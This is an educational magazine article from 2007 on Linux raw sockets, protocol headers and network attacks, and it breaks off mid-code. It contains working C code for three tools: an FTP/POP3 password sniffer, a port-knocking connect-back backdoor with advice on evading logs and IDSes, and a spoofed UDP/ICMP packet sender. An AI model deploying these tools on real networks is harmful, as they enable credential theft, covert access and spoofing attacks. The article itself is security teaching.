The Guide to Raw Socket and Attacks in Network Environments
Number 0x02: 15/02/2007
[ --- The Bug! Magazine
_____ _ ___ _
/__ \ |__ ___ / __\_ _ __ _ / \
/ /\/ '_ \ / _ \ /__\// | | |/ _` |/ /
/ / | | | | __/ / \/ \ |_| | (_| /\_/
\/ |_| |_|\___| \_____/\__,_|\__, \/
|___/
[ M . A . G . A . Z . I . N . E ]
[ Numero 0x02 <---> Edicao 0x01 <---> Artigo 0x06 ]
.> 14 de Fevereiro de 2007,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
O Guia do Raw Socket e Ataques em Ambientes de Rede
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
.> 26 de Janeiro de 2007 (iniciado em 04/07/2006)
.> hash < hash [at] gotfault [dot] net >
.> sandimas < julio [at] rfdslabs [dot] com [dot] br >
"Hackers of the world, unite!"
(capa do album "Hack", do Information Society)
"Outside of the moment nothing exists."
(Sick Boy, Trainspotting)
Index
- Introduction
- 1.1. Pre-requisites
- Writing code with raw sockets in Linux
- 2.1. Raw Ethernet
- 2.1.1 Ethernet header
- 2.2. Raw IPv4
- 2.2.1 How to create and use raw IP sockets
- 2.2.2 Basic information about TCP/IP protocol headers
- 2.2.2.1 IP protocol version 4
- 2.2.2.2 TCP protocol
- 2.2.2.3 UDP protocol
- 2.2.2.4 ICMP Protocol
- 2.2.3 Examples of raw IP socket implementation
- 2.2.3.1. Simple FTP and POP3 sniffer
- 2.2.3.2. Non-malicious example of a port-knocking backdoor
- 2.2.3.3. Example of sending custom UDP and ICMP packets
- 2.2.4. Security and attack topics in TCP/IP
- 2.2.4.1. IPv4 spoofing
- 2.2.4.2. Session hijacking
- 2.2.4.3. Flooding and other denial of service attacks (DoS, DDoS, and DrDoS)
- 2.2.4.4. Fragmentation attacks
- 2.2.4.5. ICMP traps
- "Real life" examples
- 3.1. rrapt: Route Redirection ARP Poisoning Tool
- 3.2. Rose attack, Teardrop and Land
- 3.3. DNS Amplification Attacks
- 3.4. Smurf attacks
- End
- 4.1. Acknowledgments
- 4.2. References
- Tarball do rrapt
1. Introduction
This article is intended to describe how raw sockets are used in Linux and to show the reader how powerful raw sockets are.
Also, several types of attacks involving ARP and TCP/IP protocols will be discussed as a way to complement the studies on raw and security.
The subject was selected due to the lack of a material in Portuguese that covers the two most used types of raw sockets and that makes practical, clear and relatively satisfactory demonstrations.
All the tests and coding were done using an Athlon XP 1700+ and Pentium III 750 MHz computer, both running Slackware Linux 10.1 and gcc-3.3.4.
Use of the information contained here should be for educational purposes only. Neither the authors nor The Bug! Magazine are not responsible for acts that may occur through misuse of the information in this article.
If any errors are found in this document, either on the technical or coding side, please inform the authors directly so that an erratum can be generated in the next issue.
1.1. Pre-requisites
It is a basic requirement that the reader has a basic knowledge of programming in C and Berkeley sockets, as well as basic knowledge of the networking protocols that will be covered throughout the text. A computer and a thinking device is also useful :)
2. Writing code with raw sockets in Linux
Here we will start to treat technically about the subject. But first of all we will start by answering one question: what are raw sockets?
Roughly speaking, raw socket is a special type of socket which allows us to have direct access to the entire contents of a packet, be it data or header. This way we can read all that content or even change it the way we want. With this we have total control over the Ethernet frames or TCP/IP packets that enter or leave the system.
In regular sockets the standard library and the system kernel take care of all the details involved in creating the packets, such as their headers, etc. In raw all this work done by the kernel will now be transferred to the programmer, who will define according to his needs and intentions the details of each packet sent.
Knowledge of programming with raw sockets is a must for any developer programming for networks.
2.1. Raw ethernet
In an internal network (intranet) who calls the shots is the guy called MAC address (hardware address), more specifically the physical identification of your network card or serial number, as some prefer.
This address is unique (I've seen two cards with the same MAC address on the network, but that's the fault of some drunk Korean) and serves to distinguish your machine from the rest of the network.
The IP address in an internal network, for the machine, is a mere formality, because what really matters is the MAC address.
A well-known type of attack is called "IP spoofing", and will be treated in more detail later in the paper. Another attack a little less popular but equally harmful is called "ARP spoofing", where it is possible to fool the local network by pretending to be another station that the attacker is not.
The following is a brief description for comparison purposes:
"IP spoofing" consists in falsifying a valid IP, taking the identity of another machine on an internal network or the Internet in order to circumvent a firewall or other security mechanisms. The machine spoofing this IP address guarantees that the original machine will no longer respond due to a DoS or similar attack, and therefore will not intrude into the spoofed connection.
"ARP spoofing is very similar, however, it spoofs the MAC address on a local network, so it is natural to realize that this type of attack only works on an internal network, on the Internet the MAC Address is replaced by the IP address as mandated by the TCP/IP protocol. Like IP spoofing, ARP spoofing, to be successful, also needs the original machine to be unable to communicate with the target, so as not to generate a kind of noise called the "ACK storm", or a nice mess, in other words.
Ambiente normal (fig. 2.1.0)
|--------------------------------------------------------------------------|
| |
| +-> Client (10.10.10.2) +-> Server (10.10.10.3) |
| | | |
| +--------+ dados ---> +--------+ |
| | HOST A |----------------------------------| HOST B | |
| +--------+ <--- dados +--------+ |
| | |
| | |
| +-> Mac Addr: 00:00:A7:90:0F:43 |
| |
|--------------------------------------------------------------------------|
In the normal environment the client has the mac address 00:00:A7:90:0F:43.
The server from time to time updates its ARP table, which contains all the MAC addresses of machines on the network. Every time a ping is performed, this table is updated to reflect the physical environment of the network. For HOST B the IP address of HOST A is just a formality (ok ok ok, not 100% true, but it is for us now) so if you think about it you will realize that if someone tells the server that the MAC address relative to IP 10. 10.10.10.2, for example, is no longer 00:00:A7:90:0F:43 but 00:00:77:A1:00:44, which belongs to IP 10.10.10.4 (invading machine), things change. The server will believe that 10.10.10.4 is 10.10.10.2, and packets sent to the victim 10.10.10.2 will end up on the invader 10.10.10.4 :)
A demonstration of an attack via ARP spoofing and the respective code will be detailed further on, now a little detail on the ARP header, very important for the better understanding of this chapter.
2.1.1. Ethernet header
ARP Header:
+------------------------------------------+
1->| Hardware Type | Protocol Type |->2 |-> ARP Request
|------------------------------------------| |-> ARP Reply
3 hlen +->| HLEN | PLEN | Operation |->5 <--|-> RARP Request
| |------------------------------------------| |-> RARP Reply
4 plen + | Origem MAC |->6
|------------------------------------------|
| Origem IP |->7
|------------------------------------------|
| Destino MAC |->8
|------------------------------------------|
| Destino IP |->9
+------------------------------------------+
+ DADOS +->10
+------------------------------------------+
The ethernet header contains:
- Destination ethernet address (6 bytes).
- Source ethernet address (6 bytes).
- Frame type. The frame type is 0x0806 hex for ARP and 0x8035 for RARP
The encapsulated ARP data packet then looks like this:
- Network address type (2 bytes). 1=ethernet.
- Mapped protocol (2 bytes). 0800H (hexadecimal) = IP address.
- Network address size field (1 byte). 6
- IP address size field (1 byte). 4
- Operation. 1=ARP request, 2=ARP reply, 3=RARP request, 4=RARP reply.
- Source mac address (6 bytes)
- IP source address (4 bytes)
- Mac destination address (6 bytes)
- IP Destination Address (4 bytes)
- Data
2.2. Raw IPv4
Without further ado, here we will talk about raw sockets on the Internet, at IP layer version 4.
Keep in mind that some code was made and tested on a local network and may need some modification to work in a real environment.
2.2.1. How to create and use raw IP sockets
After knowing what the famous raw is, we will learn, first, how to make them. As some already know, the "system call" socket(2) is responsible for creating all kinds of communication sockets on UNIX systems, and creating raw sockets would be no different. For more detailed information about raw we recommend you see the raw(7) man page.
- - The excerpt below is taken from a page of the manual of socket(2) - -
SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
...
SOCK_RAW
Provides raw network protocol access.
As you can see, there is a specific type for raw. We should also know beforehand that we can use these special sockets only if we have root privileges[!] or the kernel capabilities CAP_NET_RAW. Note that in the third socket argument(2) we must choose a protocol specified in RFC 1700.
If used with another very important "syscall" called setsockopt(2) it is possible to manipulate our socket more easily and flexibly.
- - The excerpt below is taken from a page of the manual of setsockopt(2) - -
SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>
...
int setsockopt(int s, int level, int optname, const void
*optval, socklen_t optlen);
We'll see later how specific this "syscall" will be used and how useful it will be to us.
As in our examples we will be working with unconnected sockets, the packet forwarding will be done by sendto(2) -- remember that this is how we used to use it for UDP (datagram sockets).
For those who already have experience with socket programming, it is possible to use bind(2) along with raw sockets. What this function will do is bind an IP address from the local interface, or from some other specific one that our network interface has. If bind(2) is not called, the kernel will fill in the "source IP" field with a valid IP for the interface we are using. We can also use connect(2) with raw sockets. What connect(2) will do is hitch a destination IP for forwarding and leave it always fixed.
This way we can use the "syscalls" send(2), recv(2), write(2), among others that are already familiar to us. It is also worth mentioning that the use of bind(2) and connect(2) are optional and rare in raw and will not be used in our future examples.
After all the above steps we will have a raw socket which can accept and/or send packets on the chosen protocol. This way, the system kernel, after verifying some basic information of the packet like its checksum, delivers a copy of the received datagram to all raw sockets which are "listening" on a given protocol. [*]
[*] PS: This property of delivering a copy to all sockets for a given protocol will allow us to create a simple "sniffer" later on.
NOTE: After creating the socket it is recommended to go back to the previous privilege level using setuid(2) in combination with getuid(2) for security reasons.
Now that we know how to create raw sockets, we can move on to the next topic, which is about TCP/IP information, with emphasis on the protocol headers. Later in the text we will see complete examples, logically including the creation of raw sockets.
2.2.2. Basic information about TCP/IP protocol headers
First of all, we assume that the reader is familiar with the basics of the protocols that make up the TCP/IP suite. In this section we will introduce the protocol headers for the IP, TCP, UDP and ICMP protocols and their structures in the files in the '/usr/include/netinet' directory.
2.2.2.1. Protocol IP (version 4)
As we know, IP is the protocol responsible for routing and delivering data over the Internet. IP is a protocol that is located at the network layer, preceding the transport layer and next to the link layer. The C headers can be found in '/usr/include/netinet/ip.h'.
Below is a representation of the IP header, in ASCII:
Cabecalho IP (fig. 2.2.0) [adaptado do RFC 791]
+-----------+-----------+-----------------+---------------------+
| Versao | IHL | Tipo de servico | Tamanho total |
| (4 bits) | (4 bits) | (8 bits) | (16 bits) |
+-----------+-----------+-----------------+---------------------+
| Identificacao | Flags | Offset frag |
| (16 bits) | (3 bits) | (13 bits) |
+---------------+---------------+-------------------------------+
| Time to Live | Protocolo | Checksum cabecalho |
| (8 bytes) | (8 bytes) | (16 bytes) |
+---------------+---------------+-------------------------------+
| End. de origem (source address) |
| (32 bits) |
+---------------+---------------+-------------------------------+
| End. de destino (destination address) |
| (32 bits) |
+---------------+---------------+-------------------------------+
| Opcoes | Padding |
| (24 bits) | (8 bits) |
+---------------+---------------+-------------------------------+
| |
< Dados >
| |
+----------------------------------------------------------------
Version: The version field is used to specify the IP version. We will work with version 4 throughout the text.
IHL: Known as "Internet Header Length", it stores the IP header length in multiples of 4 bytes. By default (if no options are used) it has 5 (5 * 4 = 20 bytes) as the minimum and 15 as the maximum (4 * 15 = 60 bytes -- used when options are included in the package).
Type of Service: Also known as ToS (Type of Service), this field defines how the routers your packet will pass through will handle the data. There are several flags for choosing priority of delivery, maximizing or minimizing the amount of data sent at once, reliability, etc.
Total Length: This field (Total Length) contains an integer value for the size of the packet (IP header + data). Datagrams have a maximum of 65535 bytes. Most network devices will not accept very large datagrams and there will probably be fragmentation if the user sends a very large packet.
ID: ID is used to identify fragments. If there are no fragmented packets, this field is ignored. ID is usually incremented with each new datagram sent and each fragment has the same ID number as the first fragmented packet sent.
Flags: This field serves to tell if a packet is not fragmented (DF bit - Don't Fragment, value 0x02) or if there are still fragments to be sent (MF bit - More Fragments, value 0x01). There is also the option MDF (More and Don't Fragment, value 0x03) or no flag (value 0x00).
Fragment offset: Contains the fragment position in the original datagram. The first segment has offset 0.
Time to live: Time the packet will live on the internet, usually between 32 and 64. Its value indicates the maximum number of routers the packet will pass through and is decremented for each router passed. When the field reaches 0 the packet is discarded and the sender is sent an ICMP message "Time exceeded".
Protocol: This field is used by IP to successfully pass the packet to the upper layer (demultiplexing).
Header Checksum: This field stores the value of a calculation performed to check the integrity of the IP header. The other headers have their own checksums. If a loss of integrity is detected, the packet is dropped silently (i.e. without any warning to the user).
Source Address: IP address of the sending station.
Destination Address: IP address of the station receiving the data.
Options: Various options for routing, security and packet handling. This field is rarely used and not all TCP/IP implementations support it. It is beyond the scope of this article to delve deeper into this "options" field. If you want to know more, see RFC 791[@] or the references at the end of the text.
Padding: 8-bit padding so that the packet size is always a multiple of 4 bytes.
[@] RFC 791: "Internet Protocol" [Postel 1981]. (ftp://ftp.rfc-editor.org/in-notes/rfc791.txt)
2.2.2.2. Protocol TCP
The TCP protocol is a very complex protocol at the transport layer of the OSI model. TCP is connection-oriented, which means that there must be a logical channel for data transfer, and it also provides reliability for information delivery -- for example, it ensures that the information will arrive in an orderly fashion.
We will not go into more detail. If the reader wants to go deeper, he/she should go to the references section (reference 2 is strongly recommended).
Cabecalho TCP (fig. 2.2.1) [adaptado da ref. 6]
+-----------------------+-----------------------+ \
| Porta de origem | Porta de destino | \
| (16 bits) | (16 bits) | \
+-----------------------+-----------------------+ \
| Numero de sequencia | \
| (32 bits) | \
+-----------------------------------------------+ \
| Acknowledgement | \
| (32 bits) | \ Maximo
+-------+------+--------+-----------------------+ -- 192 bytes
| Off_D | Res. | Flags | Window | /
| (4) | (6) | (6) | (16 bits) | /
+-------+------+--------+-----------------------+ /
| Checksum | Ponteiro Urgente | /
| (16 bits) | (16 bits) | /
+-----------------------+------------+----------+ /
| Opcoes | Padding | /
| (24 bits) | (8 bits) | /
+------------------------------------+----------+ /
| |
< Dados >
| (...) |
+-----------------------------------------------+
Source Port: As the name implies, this is the port used by the source station to send the information. It is used by the TCP module of the kernel to identify the application that sent the data.
Destination port: The port used by the destination station to send the information. It is used by the TCP kernel module to identify the application on the server which will receive the data.
Sequence Number: The number used to number the bytes of the packet. It is extremely important when using fragmentation, because only with this number can we know how to order the packets correctly. The sequence number is the "apple of the eye" for IP spoofing attacks.
Acknowledgement: If the 'ACK' flag is set this field contains the next expected sequence number (the next segment received must have this number as its sequence number).
Data offset (Off_D): Data offset. Tells the TCP/IP stack where the data portion of the packet starts.
Reserved (Res.): Value reserved for future use.
Flags: Set of signaling bits. One or more can be turned on at the same time. These flags can signal, for example, the negotiation of the end of a connection (FIN), an abrupt disconnection (RST), the negotiation of the beginning of a connection (SYN), among others.
Window: This field is used to tell the other end of the connection the number of bytes that can be packed into a packet at once (varies from 1 to 65535 bytes). Although not as advanced, it serves as a flow control mechanism.
Checksum: Calculus for checking the integrity of the TCP header and its data.
Urgent pointer: Points to a certain region of the packet and data from this area is seen as urgent by the receiver. The 'URG' flag must be set, otherwise the field contents are ignored.
Options: This optional field indicates several options for improving and customizing a connection. For example, there is the "Maximum Segment Size" option, which gives the maximum size of the segment that can be received. We will not use this field in our examples. For more information see the references at the end of the article.
Padding: 8 bits padding so that the packet size is always a multiple of 4 bytes.
2.2.2.3. Protocol UDP
The UDP protocol is a transport-layer protocol, datagram-oriented, and simpler than TCP. UDP does not give any guarantees about the transmission of packets: it does not guarantee, for example, that they arrived in the same order, or even that they arrived at all. It is the programmer's job to do this kind of check. When programming using UDP we should also be concerned about the size of our packets -- that is, we should avoid possible fragmentation (remember that UDP does not manage packet sequencing like TCP does).
Cabecalho UDP (fig. 2.2.2) [adaptado da ref. 6]
+-----------------------+-----------------------+
| Porta de origem | Porta de destino | \
| (16 bits) | (16 bits) | \
+-----------------------+-----------------------+ -- 8 bytes
| Tamanho | Checksum | /
| (16 bits) | (16 bits) | /
+-----------------------+-----------------------+
| | \
< Dados > -- Max. 65507 bytes
| (...) | / (teoricamente)
+-----------------------------------------------+
Source Port: This is the port used by the source station to send the information. It is used by the UDP kernel module to identify the application that sent the data.
Destination port: The port used by the destination station to send the information. It is used by the UDP module in the receiver kernel to find the application on the server which will receive the data.
Size: UDP packet size (headers + data).
Checksum: Calculation to check the integrity of the UDP header and its possible data. According to reference 2 the checksum in UDP is not mandatory.
Data: Information that will be seen by the application. A packet may or may not have data.
2.2.2.4. Protocol ICMP
ICMP is an acronym for "Internet Control Message Protocol" and is commonly used to communicate error messages usually from the IP layer or other layers (usually TCP or UDP -- mainly the latter).
For example, when a UDP packet could not be delivered because there was no process listening on it, an "ICMP Port Unreachable" packet is sent back. If the packet could not be delivered due to network congestion, a "Destination (or Host) Unreachable" message is sent back. The most common use of ICMP is ping, which sends "Echo Request" messages and waits for an "Echo Reply". The purpose of these messages is to find out whether or not a particular machine on the network is active [*].
[If an IP does not respond to an "Echo Request" it is not necessarily that the machine is outside the network. The computer can simply ignore these types of requests as a security measure against enumeration attacks, among others.
The header file that defines ICMP is '/usr/include/netinet/ip_icmp.h'. If you want to understand better the examples that will follow or to know all the options supported by your implementation, look at this file!
It's worth pointing out that whenever an ICMP error is sent, its message contains the IP header of the faulty packet and the first 8 bytes of the packet which caused the error.
Cabecalho ICMP (fig. 2.2.3) [adapted from ref. 2]
+-----------+-----------+-----------------------+ \
| Tipo | Codigo | Checksum | \
| (8 bits) | (8 bits) | (16 bits) | \
+-----------+-----------+-----------------------+ \
| | -- Max. ?? bytes
| O conteudo desta area depende | /
| do tipo e codigo [?] | /
| | /
+-----------------------------------------------+ /
[?]: To illustrate, the 'ping' program puts the exact time the packet was sent into the data area so that when it receives the response it can calculate the "round-trip time", which roughly means how long the response took to arrive.
Several codes and types that report errors in this data area are included as part of the packet causing the error. In this way the original sender of the message can know which application was faulty, adjust flow control, etc. (We shall see an attack which makes use of this later).
Tabela de tipos e codigos ICMP (fig. 2.2.4) [adaptado da ref. 2]
---------------------------------------------------------------------------
| Tipo | Codigo | Descricao |
---------------------------------------------------------------------------
| 0 | 0 | * Echo reply (resposta a pedido de eco) |
---------------------------------------------------------------------------
| | | * Destination unreachable: (Destino inalcancavel) |
| | 0 | Network unreachable (rede inancancavel) |
| | 1 | Host unreachable (maquina inalcancavel) |
| | 2 | Protocol unreachable (protocolo inalcancavel) |
| | 3 | Port unreachable (porta inalcancavel) |
| | 4 | Fragmentation needed buf DF bit set |
| | 5 | Source route failed |
| 3 | 6 | Destination network unknown |
| | 7 | Destination host unknown |
| | 8 | Source host isolated [obsoleto] |
| | 9 | Destination network administratively prohibited |
| | 10 | Destination host administratively prohibited |
| | 11 | Network unreachable for TOS |
| | 12 | Host unreachable for TOS |
| | 13 | Communication administratively prohibited |
| | 14 | Host precedence violation |
| | 15 | Precedence cutoff in effect |
---------------------------------------------------------------------------
| 4 | 0 | Source quench (para controle de fluxo) |
---------------------------------------------------------------------------
| | | * Redirect: |
| | 0 | Redirect for network |
| 5 | 1 | Redirect for host |
| | 2 | Redirect for ToS and network |
| | 3 | Redirect for ToS and host |
---------------------------------------------------------------------------
| 8 | 0 | Echo request (pedido de eco) |
---------------------------------------------------------------------------
| 9 | 0 | Router advertisement |
| 10 | 0 | Router solicitation |
---------------------------------------------------------------------------
| | | * Time exceeded: (Tempo excedido) |
| 11 | 0 | TTL equals 0 during transit |
| | 1 | TTL equals 0 during reassembly |
---------------------------------------------------------------------------
| | | * Parameter problem: |
| 12 | 0 | IP header bad |
| | 1 | Required option missing |
---------------------------------------------------------------------------
| 13 | 0 | Timestamp request |
| 14 | 0 | Timestamp reply |
---------------------------------------------------------------------------
| 15 | 0 | Information request [obsoleto] |
| 16 | 0 | Information reply [obsoleto] |
---------------------------------------------------------------------------
| 17 | 0 | Address mask request |
| 18 | 0 | Address mask reply |
---------------------------------------------------------------------------
The most important and common everyday types and codes have their translation in parentheses. We will use only some of the above information in the subsequent examples.
Checksum: Value computed to ensure the integrity of the ICMP header and its data.
2.2.3. Raw IP socket implementation examples
In this section we will apply all the theory learned in the previous topics. We will try to be as clear and concise as possible during this step. All code shown is commented for ease of understanding.
2.2.3.1. Simple FTP and POP3 sniffer
For demonstration purposes, here follows the code of a very basic little ftp and pop3 sniffer, just for illustration, learning and fixation of the knowledge acquired while reading this article.
<++ sniffer-ftp-pop3.c ++>
/*
* sniffer-ftp-pop3.c
* por Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>
*
* Exemplo para The Bug! Magazine 0x02 de um sniffer muuuiiito simples para os
* protocolos FTP e POP3. Somente para ilustrar o texto.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
int main(void)
{
char buffer[1024 * 8], *ptrdados, *ptraux;
int sockfd;
unsigned int i, n;
struct iphdr *iph;
struct tcphdr *tcph;
if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
fprintf(stderr, "Erro criando raw socket: %s\n",
strerror(errno));
exit(-1);
}
fprintf(stdout, "Simples sniffer de ftp/pop3 usando raw sockets.\n");
while(1) {
memset(buffer, '\0', sizeof(buffer));
/* Faz a primeira parte do buffer conter cabecalhos IP */
iph = (struct iphdr *) buffer;
/* Logo apos o cabecalho IP, "adiciona" o cabecalho TCP */
tcph = (struct tcphdr *) (buffer + sizeof(struct iphdr));
/* Le o que foi recebido no socket */
n = read(sockfd, buffer, sizeof(buffer));
/* Pula os cabecalhos e aponta para a area de dados */
ptrdados = (buffer + (iph->ihl * 4) + (tcph->doff * 4));
/* Checa se o pacote contem dados, alem de cabecalhos */
if(n > sizeof(struct iphdr) + sizeof(struct tcphdr)) {
/* Checa se os pacotes sao destinados ao ftp ou pop3 */
if(ntohs(tcph->dest) == 21 ||
ntohs(tcph->dest) == 110)
{
if(strstr(ptrdados, "USER") ||
strstr(ptrdados, "PASS") ||
strstr(ptrdados, "user") ||
strstr(ptrdados, "pass"))
{
write(fileno(stdout), ptrdados, n);
}
}
}
}
}
<++ sniffer-ftp-pop3.c ++>
2.2.3.2. Non-malicious example of a "port-knocking" backdoor
As the section already says, we will illustrate here the concept of port-knocking using the knowledge acquired throughout the article. The example is not malicious, but can be easily modified to become a very useful backdoor and relatively difficult to detect.[*] Use your imagination! :)
[*] For example, the packets sent will not appear in most logs of services like sshd, ftpd, etc., because the connection was not even established. Maybe some firewalls and IDSes will detect an anomalous activity, but this is probably avoidable.
<++ backdoor-portknocking.c ++>
/*
* backdoor-portknocking.c
* por Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>
*
* Exemplo para The Bug! Magazine 0x02 de um backdoor nao-malicioso com o
* conceito de port-knocking.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#define PORTA 22
#define MAX 8192
#define ERRO -1
int connectback(struct sockaddr_in *conn);
int main(void)
{
int sockfd;
char buffer[MAX];
struct iphdr *iphr;
struct tcphdr *tcphr;
struct sockaddr_in rede;
/* Estruturas de cabecalho IP e TCP apontando para o buffer
* ... [IP header][TCP header][dados] ...
*/
iphr = (struct iphdr *) buffer;
tcphr = (struct tcphdr *) (buffer + sizeof(struct iphdr));
/* Cria raw socket. */
if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == ERRO)
exit(ERRO);
/* Le do socket. Se o flag de destino for igual a porta, o flag FIN,
* RST e PSH estiverem ativados, SYN zerado e Window igual a 31337,
* entao chame a funcao para connect-back na porta source.
*/
while(read(sockfd, buffer, sizeof(buffer) - 1)) {
if((ntohs(tcphr->dest) == PORTA) && (tcphr->fin == 1) &&
(tcphr->syn == 0) && (tcphr->psh == 1) &&
(tcphr->rst == 1) && (tcphr->window == htons(31337))) {
rede.sin_addr.s_addr = iphr->saddr;
rede.sin_port = tcphr->source;
connectback(&rede);
}
memset(buffer, '\0', sizeof(buffer));
}
}
int connectback(struct sockaddr_in *conn)
{
int sockconn;
char msg[] = "Exemplo de port-knocking com connect-back.\n";
struct sockaddr_in conectar;
if((sockconn = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == ERRO)
return(ERRO);
conectar.sin_family = AF_INET;
conectar.sin_addr.s_addr = conn->sin_addr.s_addr;
conectar.sin_port = conn->sin_port;
if(connect(sockconn, (struct sockaddr *) &conectar,
sizeof(conectar)) == ERRO)
return(ERRO);
if(!fork()) {
/* Funcao nao-maliciosa ;) */
send(sockconn, msg, sizeof(msg), 0);
close(sockconn);
return 0;
}
}
<++ backdoor-portknocking.c ++>
We will only show the port-knocking implementation. The client to activate the backdoor is an exercise for the reader.
2.2.3.3. Example of sending custom UDP and ICMP packets
We will now illustrate the sending of custom packets, and have chosen UDP and ICMP for exemplification purposes. It is clear that this code is not professional, and is very far from being even a reasonable packet injector. With a few modifications it is possible to create a "flooder" to send spoofed packets, but this is not the original intent of the code.
<++ icmp-udp-custom.c ++>
/*
* icmp-udp-custom.c
* por Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>
*
* Exemplo para a The Bug! Magazine 0x02 para ilustrar o envio de pacotes ICMP
* e UDP customizaveis.
*
* Note que este e' um simples exemplo para fins ilustrativos e esta' longe de
* ser um injetor de pacotes decente como o nemesis, gspoof, etc.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#define ERRO -1
int icmp(char *srcip, char *dstip, unsigned int tipo, unsigned int codigo,
char *dados);
int udp(char *srcip, char *dstip, unsigned int srcporta, unsigned int dstporta,
char *dados);
unsigned short csum(unsigned short *buf, int nwords);
void uso(char *prognome);
int main(int argc, char *argv[])
{
char *srcip, *dstip, *dados, *protocolo;
int opt;
unsigned int srcporta, dstporta, tipo, codigo;
srcip = dstip = protocolo = NULL;
srcporta = dstporta = tipo = codigo = 0;
fprintf(stdout, "icmp-udp-custom.c: Pacotes UDP/ICMP customizados.\n");
while((opt = getopt(argc, argv, "s:d:p:t:y:u:x:D:")) != EOF) {
switch(opt) {
case 's':
if(strlen(optarg) > 15) {
fprintf(stderr, "IP de origem"
"invalido.\n");
exit(ERRO);
}
srcip = optarg;
break;
case 'd':
if(strlen(optarg) > 15) {
fprintf(stderr, "IP de destino"
"invalido.\n");
exit(ERRO);
}
dstip = optarg;
break;
case 'p':
if(atoi(optarg) < 0 || atoi(optarg) > 65535) {
fprintf(stderr, "Porta de origem"
"invalida.\n");
exit(ERRO);
}
srcporta = atoi(optarg);
break;
case 't':
if(atoi(optarg) < 0 || atoi(optarg) > 65535) {
fprintf(stderr, "Porta de destino"
"invalida.\n");
exit(ERRO);
}
dstporta = atoi(optarg);
break;
case 'y':
if(atoi(optarg) < 0 || atoi(optarg) > 18) {
fprintf(stderr, "Tipo invalido.\n");
exit(ERRO);
}
tipo = atoi(optarg);
break;
case 'u':
if(atoi(optarg) < 0 || atoi(optarg) > 15) {
fprintf(stderr, "Codigo invalido.\n");
exit(ERRO);
}
codigo = atoi(optarg);
break;
case 'x':
if(strlen(optarg) > 4)
exit(ERRO);
protocolo = optarg;
break;
case 'D':
if(strlen(optarg) > 51) {
fprintf(stderr, "O campo de dados"
"deve ser menor que"
"51 bytes.\n");
exit(ERRO);
}
dados = optarg;
break;
default:
uso(argv[0]);
break;
}
}
/* Checa se nao foi escolhido um IP de origem ou destino */
if(srcip == NULL || dstip == NULL || protocolo == NULL)
uso(argv[0]);
/* Checa se foram utilizadas portas para ICMP (nao existe!) */
if(!strcmp(protocolo, "icmp") && (srcporta || dstporta)) {
fprintf(stderr, "ERRO: Porta de origem e destino nao se aplicam a ICMP!\n");
uso(argv[0]);
}
/* Checa se foram utilizadas tipos e codigos de mensagem para UDP */
if(!strcmp(protocolo, "udp") && (tipo || codigo)) {
fprintf(stderr, "ERRO: Tipo e codigo nao se aplicam a UDP!\n");
uso(argv[0]);
}
if(!strcmp(protocolo, "icmp")) {
fprintf(stdout, "Protocolo ICMP selecionado.\n");
icmp(srcip, dstip, tipo, codigo, dados);
}
else if(!strcmp(protocolo, "udp")) {
fprintf(stdout, "Protocolo UDP selecionado.\n");
udp(srcip, dstip, srcporta, dstporta, dados);
}
else
{
fprintf(stderr, "Protocolo %s invalido.\n", protocolo);
exit(ERRO);
}
}
int icmp(char *srcip, char *dstip, unsigned int tipo, unsigned int codigo,
char *dados)
{
/* NOTA: Usaremos 'struct icmp' (BSD-style) ao inves de
* 'struct icmphdr' devido ao seu maior numero de opcoes suportadas.
*/
int sockicmp;
unsigned int numbytes, seq = 0;
char buffer[128], *ptr;
struct iphdr *iph;
struct icmp *icmph;
struct sockaddr_in rede;
socklen_t optval = 1;
memset(buffer, 0, sizeof(buffer));
/* Estruturas de cabecalho IP e TCP apontando para o buffer
* ... [IP header][ICMP header]
*/
iph = (struct iphdr *) buffer;
icmph = (struct icmp *) (buffer + sizeof(struct iphdr));
if((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == ERRO) {
fprintf(stderr, "Erro criando raw socket ICMP: %s\n",
strerror(errno));
exit(ERRO);
}
/* Habilita no socket a opcao de incluir o cabecalho IP customizado */
if(setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval,
sizeof(optval)) == ERRO) {
fprintf(stderr, "Erro setsockopt: %s\n", strerror(errno));
exit(ERRO);
}
/* Preenchendo o cabecalho IP */
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(getpid()); /* valor qualquer, nao importa */
iph->ttl = 255; /* deve ser um valor menor que 255 */
iph->protocol = IPPROTO_ICMP; /* protocolo que usaremos - ICMP */
iph->saddr = inet_addr(srcip); /* IP de origem */
iph->daddr = inet_addr(dstip); /* IP de destino */
/* Preenchendo o cabecalho ICMP */
icmph->icmp_type = tipo; /* preenche o tipo */
icmph->icmp_code = codigo; /* preenche o codigo */
/* Se o codigo for ECHO REQ, preenchemos ID e SEQ
* mas o preenchimento nao e' obrigatorio */
if(icmph->icmp_code == ICMP_ECHO) {
icmph->icmp_id = getpid();
icmph->icmp_seq = seq++;
}
/* Copia o que quisermos para a regiao de dados restante */
memcpy(icmph->icmp_data, dados, strlen(dados));
/* Calcula o tamanho total do pacote */
iph->tot_len = (sizeof(struct iphdr) + sizeof(struct icmp)
+ strlen(dados) + 1);
/* Checksum do cabecalho ICMP e IP */
